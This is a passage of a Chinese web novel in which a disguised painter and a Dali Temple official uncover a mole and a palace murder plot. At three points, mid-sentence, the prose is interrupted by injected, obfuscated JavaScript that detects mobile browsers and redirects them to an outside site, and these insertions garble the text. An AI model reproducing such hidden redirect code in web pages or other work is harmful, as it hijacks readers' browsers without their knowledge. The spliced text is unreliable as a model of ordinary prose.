他此前想要替敛家伸冤时,身边并没有知晓敛家内情的人,却连个线索都没有,所以完全没有想到要去查看申太医的案子。 然而这一看,他也微微蹙起眉头。 这墨痕,真的是新的。 这案卷显然是被人事后替换过的,而即便是皇亲贵胄,想要接触案卷也要登记在册,所以……这件事显然是大理寺内部人干的。 交代完这一切,敛烟终于松了一口气。 她不是没有怀疑过案卷是不是厉思远替换的,但她没有选择,如今只能相信厉思远,况且在临州的种种,敛烟从心底里觉得,厉思远绝对不会是替换案卷的那个人。 所以她将一切线索疑点交代清楚后,若是厉思远因为自己是罪臣家里的家仆把自己依律查办,至少……能让他对敛家的案子重视起来,也有一个探查的方向。 或许,他能够替自己找到案件背后的真相。 想到这里,敛烟又膝行两步上前,抬起头恳切地看着厉思远: “大人,小人知道擅自混进大理寺罪无可恕,但是敛家的案子实在可疑。” “敛家对小人有恩,小人不愿真相蒙尘,大人可以罚小人,只希望大人能够查清真相,还敛家清白!” 她言辞恳切,声声如泣,说完一大段话后,深深匍匐下来。 厉思远……会答应自己么? 他会怎么对自己? 敛烟不知道。 她缓缓闭上眼睛,等待着最后的审判。 厉思远低头看着手里的案卷,好看的眉毛蹙起,捏着案卷一角的指尖却用力到泛白。 过了一会儿,敛烟听见厉思远的声音从头顶传来: “看来敛府对下人们很好,竟能有你这样的忠仆。” “起来吧。” 35. 内鬼 敛烟不明所以睁开眼睛,却看到厉思远嘴角带笑。 屋内冰冷的温度好像在不知觉中消融了许多,正当敛烟不知道该如何回答的时候,厉思远又开口: “你不需要求我,案件有疑点,我自然会追查下去。” “敛府的案子我一直在暗中调查,但却没有眉目,你提供的申太医这个线索,也算是立功。” “虽然你带人擅闯府衙的确该罚,但你忠心护主,又提供有力线索,便算你将功补过了。” 敛烟难以置信看着厉思远温和的面容,薄唇轻启:“起来吧。” 敛烟揉了揉有些发麻的双腿站起身,一时间有些恍惚。 厉思远竟然就这样放自己走了?没有说发落自己,甚至都没有将自己赶出大理寺? 敛烟忍不住多看了厉思远一眼,却见他眉目沉静地看着手里申太医失踪的卷轴。 他让她不要求他,他说,案件有疑点自然要追查下去。 敛烟不知道该怎么形容现在的心情,却只觉得心跳似乎有些急促。 正当她胡思乱想的时候,外面忽然传来一阵嘈杂声,厉思远猛地抬起头,上前两步推开门,抓住一个守卫便问: “何事慌慌张张?” 守卫刚要说话,厉思远忽然目光凌厉起来,抓着守卫的衣领便迅速朝后退去。 一道迅猛的鞭影便从半空中砸了下来,“砰”地一声扬起一股灰尘,等到灰尘散去,就看到刚才厉思远站着的地方,被砸出了一道极深的痕迹。 敛烟刚走出门就被这一幕吓了一跳,看到鞭子她就知道是花奴,想要出言阻止。 可是花奴身手实在太快了,直接化作一道残影冲向厉思远,厉思远也毫不畏惧,推开旁边的守卫,脚尖轻点,手掌微张,转瞬间两个人已经过了十几招。 敛烟心里骇然,花奴怎么会跑出来?而且为什么要打厉思远? 而且她出手招招都是杀招,像是恨极了一样。 不行,厉思远不能受伤! 敛烟心中急切,连忙朝两个人消失的方向跑过去,边跑边喊: “花儿姑娘!花儿姑娘住手!不要打了!” 敛烟转过一个廊角,就看到厉思远和花奴已经冲到了大理寺后院,此时两个人站在围墙顶,厉思远皱着眉闪身躲避花奴的攻击。 因为寒毒的缘故,不到万不得已的时候,他不能用内力。 找准机会,厉思远沉沉开口:“姑娘是那日醉月楼的人?为何要无缘无故攻击本官?” 然而花奴却不说话,攻势却越发凌厉起来,厉思远不敢使用内力,逐渐开始有些招架不住。 敛烟见状不对,边跑边挥舞双手:“花儿姑娘!花——” 她眼里光盯着缠斗在一起的两个人,完全没有注意脚下,也忘了后院有一汪很深的湖,结果脚下忽地一空,只听“扑通”一声,整个人便落入了刺骨冰冷的湖水里。 敛烟不会凫水,心中惊慌失措,一连灌了好几口水,扑腾了几下后便觉头昏脑胀,逐渐脱力向下沉去。 就在混混沌沌中,敛烟忽然感觉到一双有力的臂膀抱住自己,她缓缓睁开眼睛,厉思远恐慌的面容就放大在她眼前。 自认识以来,似乎第一次见到厉思远这个表情…… 敛烟心中的想法一闪而过,随后便晕了过去。 此时岸边已经围了很多人,山平站在最前面,看到厉思远带着敛烟冒出水面的时候松了口气,大喊着让其他人把绳子拖过来,扔给厉思远抓住。 花奴则呆呆地站在一旁,任由两个守卫将自己按倒,看向厉思远和敛烟的方向,心情复杂。 刚才敛烟掉入湖里面的时候,她第一反应要去救人,但又忌惮对面的厉思远,所以犹豫了一瞬间。 然而就在这一瞬,她看到厉思远如离弦的箭一般冲了出去,直奔敛烟坠落的方向而去,把最脆弱的背后留给了自己。 如果她现在动手,厉思远半条命都会没了。 花奴死死握住鞭子,却终是没有动手,直到被姗姗来迟的守卫们按倒,也没有再动一下。 一个下人……竟然比自己的命都要重要? 众人合力将厉思远拉上来的时候,他怀中紧紧圈着敛烟。 看到厉思远浑身湿透,在这还有些寒意的春风中微微发抖,邱容眼疾手快递来一件厚实的大氅,厉思远却伸手裹在了敛烟身上。 敛烟迷迷糊糊中感觉自己被紧紧裹住,湿透的衣服紧贴着男人有些滚烫的皮肤,一个激灵这才缓过神来。 她下意识抓住厉思远的袖子,小声道: “大人,花儿姑娘是我带来的,她、她定是有了什么误会才追杀你,能不能……” 敛烟越说声音越小,一方面是有些心虚,自己是不是所求过多,另一方面也是实在没有力气,话都没说完,便又晕了过去。 厉思远用大氅裹紧了敛烟,抱着她站起身看向山平:“把那个姑娘带到刑狱司,这次,你亲自看守。” 山平本想要帮厉思远接过敛烟,却见自家大人跟护食一样把人紧紧抱在怀里,敛烟整张小脸都埋在他肩头,只露出了一点湿淋淋的发丝。 山平想要伸出的双手又收了回来,只得点头应是。 看着自家大人离开的背影,山平忍不住心中又是欢喜又有些悲怆。 难道大人这是开窍了吗? 但是彦儿画师是男子啊……这注定是一场没有结果的感情啊…… * 敛烟房间,厉思远将怀中的人轻轻放到了榻上。 他掏出一方干净的帕子,轻轻替敛烟擦拭湿漉漉的发丝,他动作又轻又缓,担心将人吵醒。 看着敛烟身上湿透的衣物,厉思远缓缓眨了眨眼,正要起身喊人,却忽然感觉自己的手腕被一只有些冰凉的小手握住了。 厉思远触电般打了个激灵,回头就看到榻上的人吃力地睁开眼睛:“劳烦大人送小人回来了,小人自己换衣服就好。” 厉思远垂眸看着她有些苍白的脸色,轻轻叹了口气:“我让厨房给你准备姜汤,喝了好好睡一觉,不要受寒。” 敛烟还有些不清醒,只是担心自己女儿身暴露才强撑着自己换衣服,听见厉思远说了什么,也只是迷茫地点点头。 厉思远转过身走出了门,将木门严严实实地关上了。 身后传来邱容的声音:“大人,您也快些去换衣服吧。” 厉思远看了邱容一眼,不经意地用身子将门挡住,吩咐道: “我想要换那身鸦青色的礼服,你去替我取来,还有,吩咐厨房煮一碗姜汤送给彦儿。” 邱容一愣:“啊?可是大人,礼服的话只有国典祭祀才穿,要去仓库找好一会儿呢!” 厉思远伸手拍了拍邱容肩头:“本官现在就要穿。” 邱容不敢再多问,只得郁闷地离开,要知道现在可是要接近子时了,这要找到什么时候? 厉思远看着邱容渐行渐远,这才微微松了一口气,用余光瞥了一眼身后紧闭的房门后便匆匆离开。 * 翌日清晨,刑狱司大牢。 花奴安安静静坐在原地,山平抱着剑站在旁边,忍不住偷偷打量她。 不说话不动的时候真的很美,美的就像是一幅画,只是出手太凌厉杀气太重,让人实在是有些望而却步…… 就在山平胡思乱想的时候,花奴忽地抬起美眸,看了他一眼,两个人四目相对,山平连忙偏过头去躲开了花奴的视线。 这个时候他开始庆幸自己皮肤比较深,脸红的话不是很明显。 刑狱司大牢被人打开,厉思远随意挽了一下头发,却穿着一身庄重的……礼服。 山平虽然心存疑惑,却依旧抱拳恭敬道:“大人。” 厉思远点点头,坐在了花奴对面。 他看着花奴低垂的眼眸,问道:“那日你在醉月楼,是不是有话要和我说?” 花奴一愣:“你不问我为什么杀你?” 厉思远盯着花奴:“你昨夜差点在大牢中被人刺杀,你以为是我杀的,因为你知道醉月楼的一些秘密。” “而这个秘密,与那位死去的歌女红月有关,我说的对么?” 没想到他全部猜中了,花奴心中忍不住暗暗称奇。 都说厉思远是京中青天大老爷,是办案铁面无私的玉面罗刹,如今一见,果然洞察力极强,心思又细如发丝。 见花奴没有言语,只是眼神闪烁,厉思远便知道自己猜中了她的心思。 “彦儿同我说,你就是临州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268738|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渔获宴上被下药的舞女,而也是你在京郊外的密林中救下的她?” 花奴谨慎地点点头,但她也从刚才紧绷的状态微微松了一些。 如果厉思远是想要杀她的人,那他大可不必费这些口舌,自己早就没命了。 厉思远又问道:“所以你觉得,昨夜想让你死的人,是谁?” 花奴终于开口,她字斟句酌,小心答道:“奴不知,但是他穿着大理寺的守卫服制,所以就下意识觉得是大人派来的。” 厉思远神色阴沉,先是被替换的申太医案卷,再是刺杀知情证人,这大理寺里面的内鬼,可真是猖狂! 山平此时也已经是怒火中烧,冲厉思远道: “大人,是臣治兵不当,臣领罪!臣这就去查,看看到底哪个人竟然敢连大人都算计!” 说完抬脚就要走,厉思远及时喊住了他。 “刺杀的人早就已经死了,服毒自尽。” 山平脚步一顿,难以置信转过头去看厉思远。 “去刺杀的人是一个替死鬼罢了,他背后定是有人指使。” 厉思远用手指有一下没一下敲打着腿,问花奴:“姑娘可有什么头绪?若是能知道谁想要杀你,或许红月的案子也会有进展。” 花奴犹豫了一下,试探着问道:“大人难道不先罚我昨夜意图刺杀你么?这可是重罪。” 厉思远却理所当然道:“你被人利用陷害,你我都没有错,为何要罚你?况且……” 他看了一眼曙光初明的窗外,道:“昨夜你明明有机会杀我,但你没有,我们也算是两不相欠了。” 一道清晨的阳光破开层层云雾,照在了厉思远身上,让花奴忍不住抬头,看向他那因光芒而熠熠生辉的眼眸。 这个人……似乎真的可以信任。 花奴心中头一次冒出了这样的念头,对一个手握重权、身居高位的人。 她抿紧嘴唇,终于张开嘴,将自己所有知道的事情和盘托出。 她和红月相识多年,两个人虽然身在两地,却经常通书信。 然而五年前的一天,红月忽然来信和她说自己要离开醉月楼了,还说自己遇到了良人,字字句句都透着欢喜。 花奴自然是为她高兴的,但又觉得奇怪,二人书信往来很是频繁,她从未提到过遇到过哪位良人。 不过短短一个月,两个人感情便到了可以为对方赎身的地步了么? 花奴好心去信提醒,但红月却再也没有写过回信,花奴因为身份原因,始终没有办法去找红月,直到三年前去京城找她的时候,发现红月已经失踪了。 花奴不信红月会无缘无故不告而别,至少不会忽然和她失去联系,所以她找到了时任大理寺卿的敛和安。 听到父亲的名字,走到门口的敛烟脚步一顿。 昨夜一碗姜汤下肚,身上已经舒服了许多,她心中担忧花奴的处境,所以早早便爬了起来,打听到花奴又被关押回了刑狱司,这才马不停蹄跑了过来。 一路上她也向知情的守卫打听,也才知道原来花奴杀厉思远是因为误会他派人杀自己。 敛烟细细一想也就大概猜到了,要杀花奴的人,和替换申太医失踪案卷的或许是同一个人。 然而花奴竟然提到了自己父亲,如果是父亲的话,按理来说这个案子应当不会被尘封五年之久…… 牢房中,厉思远微微抬眸,眼中闪过复杂之色。 “敛大人断案如神,如果你找到他,他一定不会不管的。” 花奴有些惊讶地看向厉思远,却见他神色认真,隐隐还有崇拜之色。 敛家的贪墨案子她也略有耳闻,没想到竟然还有人愿意为敛家说话。 花奴正色道:“大人,我虽求助于敛和安大人,但真正办案的并不是他。” “当时我敲响了大理寺外的登闻鼓,敛大人亲自接见了我,但他当时有一大案缠身,需要即刻动身启程离开京城,所以他说将这件案子交给他最信任的一个人办理。” 敛烟忽然有一种不好的预感,她站在牢房外,忽然有一种想要逃跑的冲动。 但她还是犹豫了,而下一秒,花奴的声音仿佛一把利剑直戳进敛烟的胸口。 “敛大人说,主办这案子的,是王雨生。” 37. 捉拿 花奴冷冷抬眸,白了王雨生一眼。 见她这幅不见棺材不落泪的模样,王雨生冷笑:“死到临头了还是这么倔,当初我说红月的事情不用你管,你还偏偏死咬住不放。” 他边说着,边打开牢门走了进去。 花奴像是真的累极了,手腕上的红痕仿佛证明了她之前挣扎过,如今的她收敛了所有锋芒,毫无反抗之力地歪倒在地上,只是依旧不服气地看着王雨生。 王雨生带着得逞的笑容,缓缓蹲了下来,窗外的光照在他脸上,打下来的阴影倒映在他眼底,让他眼神中都透着阴狠。 “昨天你能逃的出去,那是你命大,只可惜你运气不好,偏偏要动厉思远。” “你以为凭你的身手,能从大理寺安然无恙出去么?真是自大到可笑。” 说完,他从怀中掏出了一瓶蓝色的液体,看着很是漂亮。 但若是江湖人士一眼便能认出,这是江湖上有名的毒药,小小的一滴便能让人瞬间毙命,即便是最厉害的仵作也发现不出其中的端倪。 看到这瓶毒药,花奴的神色终于有了变化,她畏惧地朝后退去,铁链发出哗啦啦的声音。 王雨生温和地叹了口气,但语调却冰冷无比:“你也别怪我,要怪就怪你惹恼了那位贵人。” 说完,他便要伸手去抓花奴,花奴这个时候忽然软软开口:“既然我要死了,那不如你让我死个明白。” 声音颤抖,却不见恐慌,王雨生眉头微微一皱起,手上的动作一顿。 花奴继续道:“杀了红月的人,到底是谁?” 王雨生看着花奴的双眸,忽然像是想明白了什么,豁然站起身就朝外走,刚刚走到门口,迎面出现两个守卫,一把将王雨生按倒在地。 王雨生怒道:“你、你们做什么?!” 他身子因为愤怒而微微发抖,右手却悄悄打开了毒药瓶的盖子,趁守卫不注意的时候使出吃奶的力气,将右手挣脱开。 眼看王雨生要将毒药倒入口中,手腕却忽地一痛,手上的玻璃瓶便落到了地上,啪地一声摔得粉碎。 王雨生痛呼一声,看向旁边扭住他手腕的人,赫然是刚刚还对他毕恭毕敬的山平。 下一秒,山平捏着王雨生的手腕,将他整个胳膊拧了过来,王雨生吃痛地大叫一声,整个上半身便砸在了地上,发冠狼狈地歪倒在一边。 还没等他怒喝出声,一双藏黑色金纹云靴便出现在了他眼前,王雨生刚刚要喊出来的话瞬间憋了回去,脸色因为惊恐而苍白无比。 他嘴唇嗫喏了半天,颤声开口:“大、大人?” 厉思远蹲了下来,目光沉沉看着他:“王雨生,你可知罪?” 面色红润、中气十足,哪里有半分刚才虚弱的模样? 敛烟站在旁边,看着从小带着自己在大理寺捉迷藏,还把自己抗在肩头看烟火的王伯伯,此时狼狈无比趴在地上时,心中涌起了一股难以抑制的酸涩和悲哀,转而化作满腔怒火。 她忍不住冷嗤一声:“只可惜,刚才没有把我们想要的人说出来。” 冰冷的语调,让王雨生忍不住抬头看了这个不起眼的小画师一眼。 这个人……是谁来着? 大人带进来的画师,也不过是一个贱民罢了,他连名字都懒得去记,所以连正眼都没瞧过敛烟一眼。 如今看着……为什么这么眼熟? 王雨生心中虽然疑惑,但他现在已经没有那么多心思去想这件事情了,他自知大势已去,索性歪倒在地上,一句话都不说。 此时花奴也从身后大牢中走了出来,盈盈美眸扫了王雨生一眼:“真是可惜,刚才要是我演的再真一点,或许就真的套出话了,只不过……” 他一把揽过敛烟的肩头,遗憾叹息:“我就算是真的临死前,也断不会做出向别人低头这种事,对不住啦……” 敛烟虽然知道他是男子,但被花奴香香软软的身子一搂,还是忍不住老脸一红。 毕竟花奴生的是真的魅惑。 厉思远看向王雨生,满脸失望:“王大人,本官没想到在大理寺这样一个秉公断案的地方,竟然会出现你这样的人。” “你……对得起敛和安大人么?” 听到敛和安的名字,王雨生身子猛地一震,在这一瞬间,他的内心忽然出现了一丝动摇,但想到自己还不知下落的妻儿,他还是选择了沉默。 厉思远也没有多费口舌,而是挥手让山平将人带下去:“连夜审问,记住,多上些手段。” 敛烟死死盯着王雨生离开的方向,心里已经开始盘算起来, 她觉得王雨生断不会说实话,自己是不是可以采取一些手段…… 敛烟想的出神,没有注意到厉思远已经走到了她面前,双眸不经意扫过花奴揽着她的胳膊。 “我的卧房收拾了么?” 没头没脑的一句话,让敛烟猛地回神。 刚才为了在王雨生露出马脚的时候尽快抓住他,让他不对花奴做出任何实质性的伤害,他们所有人出来的都很急,当然没有特意去收拾卧房。 不是,他问这个做什么? 敛烟只能低眉顺眼地福了福身:“回大人,还没有,小人这就去打扫。” 说完转过身离开,花奴正要抬脚跟上去,就被厉思远一把拽住了衣领。 “人已经抓了,你可以回去等消息了。” 花奴不满地看了他一眼:“大人这是赶我走?” 厉思远斜睨了他一眼:“不然呢?你留在这里做什么?审问犯人是我们的事情。” 花奴一个扭身,挣开了厉思远抓住他的手,足尖轻点便飞身落在了庭院中央的一棵茂密的海棠花树上。 京城四月,海棠花正是最为茂盛的时刻,花奴飞身上去时,带动枝杈微微颤动,整棵海棠花树便簌簌落下花瓣。 花奴伸出手轻轻摘下一朵海棠花,手腕翻飞,原本绵软无力的花朵倏然飞了出去。 敛烟还没走远,正转过不远处的廊角,忽然脚下落下了一只艳红色的海棠花。 她脚步倏然一顿,狐疑抬起头看向花儿飞来的方向。 只见花奴身着红色纱裙,娇魅无比地盈盈立在枝头,见她望了过来,笑眯眯开口: “若是日后遇到麻烦,还可以找我哟~” 说完,没等敛烟反应,便朝她抛了个媚眼,也不管背后厉思远冰冷的视线,自顾自飞身而起,顺着旁边的院墙翻了出去。 一个大男人,竟然这么的……妩媚…… 敛烟捡起了丢在地上的花朵,又不禁想起花奴之前和自己说起他坎坷的身世。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268740|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许正是因为他儿时的经历,他才会不相信官府的人吧。 也不知道花奴究竟经历了些什么,才从一个普通人成了天下阁阁主,想必……吃了不少苦头吧。 正当她想的出神,手上的海棠花忽然被身后伸过来的大手拿了过去,敛烟转过头就看到厉思远望着自己。 他生的高大,离自己很近的时候,整个人压迫感极强,高大的影子将她整个儿笼罩起来,仿佛随时都要倾覆下来一样。 “发什么愣?” 敛烟有些心虚地后撤两步,正欲离开,又被厉思远喊住了: “不必收拾了,去吃午饭吧。” 敛烟一愣,奇怪,感觉他刚才对收拾房间这件事非常在意,现在为什么又忽然不用了? 老板的心思果然是难以揣摩啊…… “还有……” 厉思远像是想了许久,有些犹豫开口。 “你最近不要和邱容一起住了,搬出来。” “啊?” 敛烟喊出了声,这是什么意思?要赶她走? 厉思远眼神飘忽,言简意赅:“你,搬到我卧房旁边住。” 伺候了厉思远这么久,敛烟也知道他卧房旁边有一间空闲的偏房。 偏房原本应当是给贴身侍从住的,用来伺候主子夜间起居,但因为厉思远不愿意人贴身伺候,所以一直空着的。 就算是之前自己替厉思远晚上伺候笔墨,他也从没有让她守夜。 难不成,以后自己还要替厉思远守夜吗? 早上起来伺候,晚上还不能睡得安稳……工钱麻烦给双倍谢谢!! 敛烟心里藏不住事,脸上的表情在转瞬间就难看起来,但又很快想起来自家大人还在面前,嘴角抽动了两下,露出了一个比哭还难看的笑容: “……大人,我和邱管事住一个房间挺好的,就……不打扰大人了?” 厉思远看着眼前小人儿脸上异彩纷呈的表情变换,忍不住轻笑了一声: “因为那天晚上刺杀的事情,府衙需要加强防守,你就安心在偏房睡,晚上不会吵到你的。” 声线温和,却带着不容置疑的语气。 敛烟只能认命地低下头,又听见厉思远补了一句: “月钱,给你双倍,本官允你在偏房设画室,随意作画。” 敛烟豁然睁大了双眼,不可置信抬起头看向厉思远隐隐带着笑意的双眼, 虽然自己现在一直在为家族的冤案惶惶不可终日,但时间久了,还是忍不住手痒想要画画。 在临州陈生家里的时候,自己尚且能作画,但现在是在大理寺啊,府衙重地,身为一个下人这种事情自然是做不得的。 但耐不住手痒,敛烟会趁空闲的时候,以土地为画纸,以树枝为画笔,在后院的角落里偷偷画上几幅,随后再用脚擦掉。 难道大人……都知道? 双倍的月钱倒是小事,但他可是特准自己设画室!在大理寺里! 厉思远也没有再多说什么,而是转身离开,看着厉思远已经走远的背影,敛烟开心地原地跳了起来,大喊一声: “谢谢大人!!” 在敛烟看不到的角度,厉思远唇角高高扬起。 还真是……一如既往的率真可爱啊…… 38. 斩草除根 刑狱司大牢。 王雨生披头散发趴在地上,苍老的面容上满是疲惫与痛楚,他手腕脚腕上都拴着铁链,全然没有平日里的神气和骄傲。 厉思远站在监牢外,山平恭敬站在他身侧,有些迟疑:“大人,王雨生嘴很硬,刑狱司里面所有刑都上了一遍,还坚持说红月是他杀的。” “根据醉月楼里面的姑娘口供,王雨生从来没有去过醉月楼,所以根本不可能是他杀的。” 厉思远冷冷盯着趴在地上的王雨生:“到底是谁,值得他替对方顶罪……他家里人呢?找到了没?” 山平蹙紧了眉头:“说来奇怪,派出去的兄弟都找了,他的家里人就像是消失了一样,哪里都找不到,听邻居说,他们家除了王雨生以外,已经许久没有见到他妻儿了……” “那看来,他的妻儿可能很早以前就被人带走了。”厉思远若有所思地摸了摸下巴,压低声音:“你说……幕后那人知道王雨生被我们抓起来了,能坐得住么?” * 永清宫。 皇贵妃伍方仪将茶杯狠狠朝下面一掷,不偏不倚砸在了严宏道身上,他跪在地上,不躲不闪,任凭茶杯里滚烫的茶水洒满全身。 “让你不要去玩外面那些女人,你偏不听,现在好了,死了人就罢了还被那个厉思远抓住了把柄,你啊你,你真是成事不足败事有余!” 伍方仪气的捂住胸口,上下起伏着,嘴唇发抖,旁边的老嬷嬷走过来轻轻替她抚背,劝道: “娘娘,二皇子他也不是故意的,这事都已经过去这么久了,谁知道还会被翻出来?娘娘您再生气,也要小心身子啊……” 伍方仪双手死死抓住梨花木椅扶手,咬牙切齿: “还说不是故意的,本宫苦心经营多年,好不容易把你拉扯大,你却偏偏不争气,你知道若是你被发现了,你父皇定然要责罚你!” “你父皇前几日还曾透露过立储的意思,在这节骨眼上竟然出这么大的纰漏,我……” 提到立储,伍方仪气急,忍不住剧烈咳嗽起来,老嬷嬷连忙替她顺气,余光朝严宏道使眼色,示意他赶紧认错。 谁知严宏道却直挺挺跪在原地,冷淡开口: “三岁就要会背诗,五岁就要会骑马,儿时三弟很是聪慧,只要他能做到的我做不到,你就冻饿打骂我。” 严宏道冷笑一声,自嘲道:“我一个堂堂二皇子,过得甚至及连最下等的奴仆都不如。” “你苦心经营到底是为了我,还是为了你自己,你心里清楚。” 伍方仪一愣,显然没想到一直听话的儿子今天竟然和自己顶嘴,顿时怒从中来,站起来高高扬起手,啪地一声狠狠打在了严宏道的脸上。 严宏道被打得脸上瞬间红肿起来,他嘴角隐隐渗出了血丝,却丝毫没有畏惧,他目光直视着伍方仪: “怎么?接受不了你儿子有瑕疵?红月的死到底是我造成的,还是你偷偷派人毒死的她?你我不都心知肚明么?” 伍方仪此时目眦欲裂,一把甩开了来劝她的老嬷嬷,伸出手颤抖着指向严宏道: “本宫不还是为了你?嗯?堂堂一国皇子,竟然看上了一个下贱歌姬!二皇子妃还在呢!你怎么能和一个贱民苟且!啊?!” 严宏道冷冷偏过头,冷嗤一声:“说这么多也没用了,反正她已经死了,还是死在我床上,厉思远要查的话,第一个怀疑对象必然就是我。” 伍方仪忿忿甩了一下袖子。 当年严宏道趁自己不注意,和他那些狐朋狗友偷偷溜到醉月楼,谁知道就去了一次,便被那个狐媚子迷住了。 也不顾自己的皇子身份,总是偷偷跑到醉月楼去见她,二皇子妃是伍方仪的侄女,发现这件事的时候去了自己所在的凤鸾宫,哭哭啼啼了一下午。 当时自己勃然大怒,他父皇当初就是被一个舞姬迷了去,现在有了大皇子也追悔莫及,他可不能走他父皇的老路啊! 虽然皇子完全可以纳妾,但纳谁都可以,决不能纳一个青楼女子! 但也不知道那女子到底给严宏道灌了什么迷魂药,严宏道以前很是听自己的话,但偏偏在这件事上很是强硬,甚至不惜和自己闹翻几日不回皇宫,都要和那红月厮混一处。 自己又气又急,为了让严宏道彻底对红月死心,自己这才办了这糊涂事。 派人下药,让红月死在了严宏道的榻上。 这也是为了惩罚他,竟然敢忤逆自己的母亲。 原以为把尸体丢进那荒无人烟的寺庙井里,一切都万事大吉,但却无论如何都没想到,这件事到了今日,竟然还被人翻出来。 当年敛和安开始查案的时候,得知这个案子被交给了王雨生,伍方仪便派人找上了门,用大理寺少卿的官职与他交易,让他把碍事的人除掉。 却没想到兜兜转转,还是被这厉思远找到了。 这个厉思远……真是碍事。 伍方仪的眼底闪过一丝阴狠。 她原以为不过是一个没有家族荫庇的人罢了,不足为惧,却没想到这人竟然这样不知天高地厚,明明知道红月的死不简单,甚至牵扯到皇室,竟然还敢查下去。 想到厉思远那和敛和安一样油盐不进的样子,伍方仪心中一阵恐慌。 不行,不能这样坐以待毙。 她正要开口,就看到严宏道忽然站起来,拂了拂袖子:“母后。” 阴森的语调,让伍方仪忍不住打了个寒战。 却听严宏道说道:“放心,没有人能撼动你太后的位置,儿臣已经找人把王雨生的家里人绑起来了,谅他也不敢把我们说出来。” 伍方仪一愣:“什么?绑起来了?” 她当初也不过是用官职引诱王雨生合作,从未对他妻儿做过任何事情。 严宏道理所当然耸了耸肩,他已经不像小时候那样瘦弱,高大身躯把门外的光尽数挡住,逆着光看过来的时候,狭长的眼眸里闪烁着寒光: “母后也太过心软了,一个官职而已,他怎么可能会尽心尽力为我们做事?” “只有拿捏住一个人的软肋,才能真正控制住这人啊,母后。” 伍方仪只觉得自己今日才真正看清亲生儿子的真面目,她只觉得脊背发寒,颤着声问道:“那、那你接下来打算怎么做?” 严宏道微笑看向自家母后那有些恐惧的表情,心中竟觉十分痛快,他阴森森一笑,看着煞是渗人:“当然是……斩草除根啊。” * 深夜,王雨生蜷缩在单薄的草席上,用衣服紧紧裹住自己,但即便如此也抵御不了初春深夜有些刺骨的寒意。 在半梦半醒中,他似乎听见了轮班守卫的声音。 “喂,听说醉月楼来了个唱戏的名角儿,可热闹了,咱们哥几个出去乐呵乐呵?” “不行啊,这还有犯人要看着呢!” “哎呀今天晚上厉大人和山平大人都不在,这门窗都锁着,不会出事的!” “可是……” “没什么可是,走走走!” 纷乱的脚步声渐行渐远,随着刑狱司监牢大门被砰地一声重重关上,周边瞬间陷入了寂静。 王雨生皱了皱眉,正要翻个身继续睡,忽然听见了一个极其细微的声音。 不知怎的,他心中忽然涌起一股不好的预感,王雨生霎时睁开了双眼,从草席上爬了起来,环视四周。 静悄悄的,除了其他囚犯的呼噜声以外,似乎没有其他声音了。 王雨生松了口气,可能是自己想多了吧。 他又重新把单薄的衣裳裹紧了一些,忍着浑身疼痛,皱着眉缓缓躺倒在了草席上,打算再试着睡一觉。 忽地,王雨生感觉脖颈上一凉,他呼吸一紧,抵在自己脖子上的,是一把利刃。 他浑身僵直不敢动,颤着声开口:“你是谁?” “要你命的人。” 身后的声音阴沉沉的,王雨生只觉得一股寒意从脊背窜了上来,他连忙说道:“你、你是二殿下派来的?我、我没有出卖殿下,我一个字都没交代啊!” “呵,殿下当然知道你的一片忠心,所以才让你死的没有这么痛苦。” 王雨生绝望地闭上了双眼。 他知道,自己今夜恐怕是难逃一死了。 他原以为自己不仅仅掌握着红月死亡的真相,更是替伍家做了许多见不得人的事情,二殿下看在自己做了这么多事情的面子上,至少会派人来救自己。 原来这是要兔死狗烹啊…… 然而预料之中的疼痛并没有袭来,反而是身后的杀手痛呼一声,原本压在自己脖颈上的利刃忽然一松,铛啷啷掉在了地上。 王雨生吃力回头,就看到原本说是今夜已经出门的山平站在他背后,已经死死扭住那杀手的手腕,而说是去醉月楼找乐子的几个守卫,已经尽数从门外冲了进来,将那杀手团团围住。 山平皱眉捏住杀手的两颊,看着他口吐白沫的样子,失望叹了一口气:“还是我晚了一步,又死了。” 他又看向蜷缩在地上瑟瑟发抖的王雨生:“看来你背后的人,并不想救你啊。” 说完,他将那死掉的杀手甩到地上,冷冷看向他:“现在,能交代了么?” 翌日,敛烟从客房走出来的时候,就看到山平站在厉思远身边,禀报昨夜王雨生的情况。 “大人,招了,他说……” 山平正说着,余光就瞥见敛烟从旁边的偏房里走了出来,顿时闭上了嘴,难以置信地看了过来。 他从哪儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268741|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的?大、大人的偏房? 山平愕然望了过来,他宁可相信花奴是女子,也不肯相信大人竟然允许一个小画师出入他的偏房! 